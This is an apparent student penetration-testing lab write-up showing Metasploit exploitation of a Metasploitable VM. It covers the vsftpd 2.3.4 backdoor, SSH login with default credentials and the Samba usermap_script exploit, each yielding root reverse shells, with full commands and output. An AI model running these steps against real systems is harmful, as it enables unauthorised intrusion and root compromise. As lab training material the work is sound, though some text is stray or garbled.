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VAPT Assignment 8 Roll No:

To get Metasploitable IP:

```
No mail.  
msfadmin@metasploitable:~$ ifconfig  
eth0      Link encap:Ethernet  HWaddr 00:0c:29:fa:dd:2a  
          inet addr:192.168.31.132  Bcast:192.168.31.255  Mask:255.255.255.0  
          inet6 addr: fe80::20c:29ff:fefa:dd2a/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
          RX packets:51 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:67 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:5735 (5.6 KB)  TX bytes:7398 (7.2 KB)  
          Interrupt:17 Base address:0x2000  
  
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0  
          inet6 addr: ::1/128 Scope:Host  
          UP LOOPBACK RUNNING  MTU:16436  Metric:1  
          RX packets:113 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:113 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:0  
          RX bytes:29705 (29.0 KB)  TX bytes:29705 (29.0 KB)  
  
msfadmin@metasploitable:~$  
Queue push and pop implementation
```

Command: ifconfig

Pinging metasploitable's IP:

```
Session  Actions  Edit  View  Help  
  
(kali@kali)-[~]  
$ ping 192.168.31.132  
PING 192.168.31.132 (192.168.31.132) 56(84) bytes of data.  
64 bytes from 192.168.31.132: icmp_seq=1 ttl=64 time=0.817 ms  
64 bytes from 192.168.31.132: icmp_seq=2 ttl=64 time=0.450 ms  
64 bytes from 192.168.31.132: icmp_seq=3 ttl=64 time=0.380 ms  
^C  
— 192.168.31.132 ping statistics —  
3 packets transmitted, 3 received, 0% packet loss, time 2049ms  
rtt min/avg/max/mdev = 0.380/0.549/0.817/0.191 ms  
  
(kali@kali)-[~]  
$
```

Command: ping <target_IP>

1.VSFTPD Exploit:

```
(kali㉿kali)-[~]
$ nmap -sV -p 21 192.168.31.132
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-20 07:14 +0000
Nmap scan report for 192.168.31.132
Host is up (0.00036s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.12 seconds

(kali㉿kali)-[~]
$
```

Command: nmap -sV -p 21

<target_IP> Started msfconsole:

```
kali@kali:~$ msfconsole
```

Metasploit tip: Network adapter names can be used for IP options set LHOST
eth0

```
#####  
#####  
MMMN$ VMNMN  
MMMMNL MMMM MMNMN JMMM  
MMMMNL Mmmmmmmnm NMmNm NmNMJ  
MMMMNL mmmmmmmmmmmmmmmmmmmmm JMMM  
MMMMNI mmmmmmmmmmmmmmmmmmmmmmm JMMM  
MMMMNI mmmmmmmmmmmmmmmmmmmmmmm JMMM  
MMMMNI mmmmm mmmmmm mmmm jmmm  
MMMMNI mmmmm mmmmmm mmmm jmmm  
MMMMNI mmmmm mmmmmm mmmm jmmm  
MMMMNI mmmmm mmmmmm mmmm jmmm  
MMMMNI Wmmmm mmmmm# Jmmm  
MMMMR ?MMNM Mmmmm dmmmm  
MMMMNm `?MMN Mmmmm cmmmm  
MMMMMM ?MM MN? Nmmmm  
MMMMMMNNc JMmmmmmm  
MMMMMMmmmmmmNm, eMMMMmmmmmm  
MMMMmmmmmmmmmmx mmmmmmmmmmm  
MMMMMMMMmmmmmmmmmm+... +MMMMmmmmmmmmmm
```

<https://metasploit.com>

```
= [ metasploit v6.4.135-dev ]  
+ -- [ 2,654 exploits - 1,338 auxiliary - 2,141 payloads ]  
+ -- [ 432 post - 49 encoders - 14 nops - 12 evasion ]
```

Metasploit Documentation: <https://docs.metasploit.com/>
The Metasploit Framework is a Rapid7 Open Source Project

```
msf >
```

Command: msfconsole

```
msf > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	Yes	VSFTPD 2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

```
msf > 
```

Command: search vsftpd

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name   | Current Setting | Required | Description                                                                                                                                                                                         |
|--------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT  | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):



| Name           | Current Setting | Required | Description                                                                                                                                                                                                            |
|----------------|-----------------|----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| FETCH_COMMAND  | CURL            | yes      | Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)                                                                                                                                                      |
| FETCH_DELETE   | false           | yes      | Attempt to delete the binary after execution                                                                                                                                                                           |
| FETCH_FILELESS | none            | yes      | Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+, shell-search, shell) |
| FETCH_SRVHOST  |                 | no       | Local IP to use for serving payload                                                                                                                                                                                    |
| FETCH_SRVPORT  | 8080            | yes      | Local port to use for serving payload                                                                                                                                                                                  |
| FETCH_URI_PATH |                 | no       | Local URI to use for serving payload                                                                                                                                                                                   |
| LHOST          |                 | yes      | The listen address (an interface may be specified)                                                                                                                                                                     |
| LPORT          | 4444            | yes      | The listen port                                                                                                                                                                                                        |



When FETCH_COMMAND is one of CURL,GET,WGET:



| Name       | Current Setting | Required | Description                                                                            |
|------------|-----------------|----------|----------------------------------------------------------------------------------------|
| FETCH_PIPE | false           | yes      | Host both the binary payload and the command so it can be piped directly to the shell. |



When FETCH_FILELESS is none:



| Name           | Current Setting | Required | Description                                                                         |
|----------------|-----------------|----------|-------------------------------------------------------------------------------------|
| FETCH_FILENAME | GRIRktRFA       | no       | Name to use on remote system when storing payload; cannot contain spaces or slashes |


```

Command: use exploit/unix/ftp/vsftpd_234_backdoor

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.132
RHOSTS => 192.168.31.132
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 192.168.31.132:21 - Msf::OptionValidateError One or more options failed to validate: LHOST.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOSTS 192.168.31.133
[-] Unknown datastore option: LHOSTS. Did you mean RHOSTS?
LHOSTS => 192.168.31.133
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.31.133
LHOST => 192.168.31.133
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 192.168.31.133:4444
[*] 192.168.31.132:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.31.132:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
[*] 192.168.31.132:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[*] 192.168.31.132:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.31.133:4444 => 192.168.31.132:36904) at 2026-09-20 07:22:19 +0000

meterpreter > |
```

Command:

show options

set LHOST <kali_IP>

set RHOSTS

<target_IP> run

```

[*] 192.168.31.132:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.31.133:4444 → 192.168.31.132:36904) at 2026-09-20 07:22:19 +0000

meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.31.132 - Meterpreter session 1 closed. Reason: User exit
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.132
RHOSTS => 192.168.31.132
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 192.168.31.133:4444
[*] 192.168.31.132:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.31.132:21 - FTP banner hints its vulnerable: 220 (vsFTPD 2.3.4)
[*] 192.168.31.132:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[*] 192.168.31.132:21 - Backdoor has been spawned!
[*] Meterpreter session 2 opened (192.168.31.133:4444 → 192.168.31.132:36906) at 2026-09-20 07:23:54 +0000

meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > getuid
Server username: root
meterpreter >

```

Command (to check) :

whoami

hostname

id

2. SSH Exploit:

```

(kali@kali)-[~]
$ nmap -sV -p 22 192.168.31.132
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-20 07:25 +0000
Nmap scan report for 192.168.31.132
Host is up (0.00036s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds

```

Command: `nmap -sV -p 22 <target_IP>`

```

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search ssh_login

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/ssh/ssh_login          .              normal No     SSH Login Check Scanner

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/ssh/ssh_login
msf >

```

Command:

msfconsole

search

ssh_login

```
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/ssh/ssh_login

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

  Name                Current Setting  Required  Description
  ----                -
  ANONYMOUS_LOGIN      false           yes       Attempt to login with a blank username and password
  BLANK_PASSWORDS      false           no        Try blank passwords for all users
  BRUTEFORCE_SPEED     5               yes       How fast to bruteforce, from 0 to 5
  CreateSession        true            no        Create a new session for every successful login
  DB_ALL_CREDS          false           no        Try each user/password couple stored in the current database
  DB_ALL_PASS           false           no        Add all passwords in the current database to the list
  DB_ALL_USERS          false           no        Add all users in the current database to the list
  DB_SKIP_EXISTING      none            no        Skip existing credentials stored in the current database (Accepted
: none, user, user@realm)
  KEY_PASS              no              no        Passphrase for SSH private key(s)
  KEY_PATH              no              no        Filename or directory of cleartext private keys. Filenames beginni
ng with a dot, or ending in ".pub" will be skipped. Duplicate priv
ate keys will be ignored.
  PASSWORD              no              no        A specific password to authenticate with
  PASS_FILE             no              no        File containing passwords, one per line
  PRIVATE_KEY           no              no        The string value of the private key that will be used. If you are
using MSFConsole, this value should be set as file:PRIVATE_KEY_PAT
H. OpenSSH, RSA, DSA, and ECDSA private keys are supported.
  RHOSTS                yes             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT                22             yes       The target port
```

Command:

use auxiliary/scanner/ssh/ssh_login

show options

```
View the full module info with the info, or info -d command.

msf auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.31.132
RHOSTS => 192.168.31.132
msf auxiliary(scanner/ssh/ssh_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/ssh/ssh_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.31.132:22 - Starting bruteforce
[*] 192.168.31.132:22 - Testing User/Pass combinations
[+] 192.168.31.132:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dia
lout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare)
,1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] SSH session 1 opened (192.168.31.133:38073 -> 192.168.31.132:22) at 2026-09-20 07:27:54 +0000
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/ssh_login) >
```

Command:

set RHOSTS

<target_IP> set

USERNAME msfadmin

set PASSWORD

msfadmin run

3. SMB Exploit:

```
(kali@kali)-[~]
$ nmap -sV -p 139,445 192.168.31.132
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-20 07:28 +0000
Nmap scan report for 192.168.31.132
Host is up (0.00048s latency).

PORT      STATE SERVICE      VERSION
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:FA:DD:2A (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.85 seconds

(kali@kali)-[~]
$
```

Command: `nmap -sV -p 139,445 <target_IP>`

```
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search samba username map script

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/multi/samba/usermap_script      2007-05-14      excellent No      Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf >
```

Command:

`msfconsole`

`search samba username map script`

```
View the full module info with the info, or info -d command.

msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.31.132
RHOSTS => 192.168.31.132
msf exploit(multi/samba/usermap_script) > set LHOST 192.168.31.133
LHOST => 192.168.31.133
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.31.133:4444
[*] Command shell session 1 opened (192.168.31.133:4444 -> 192.168.31.132:44235) at 2026-09-20 07:31:01 +0000

whoami
root
hostname
metasploitable
id
uid=0(root) gid=0(root)
```

Command:

`use`

`exploit/multi/samba/usermap_script`

`show options`

set RHOSTS

<target_IP> set LHOST

<kali_IP>

run

Command to check:

whoami

hostname

id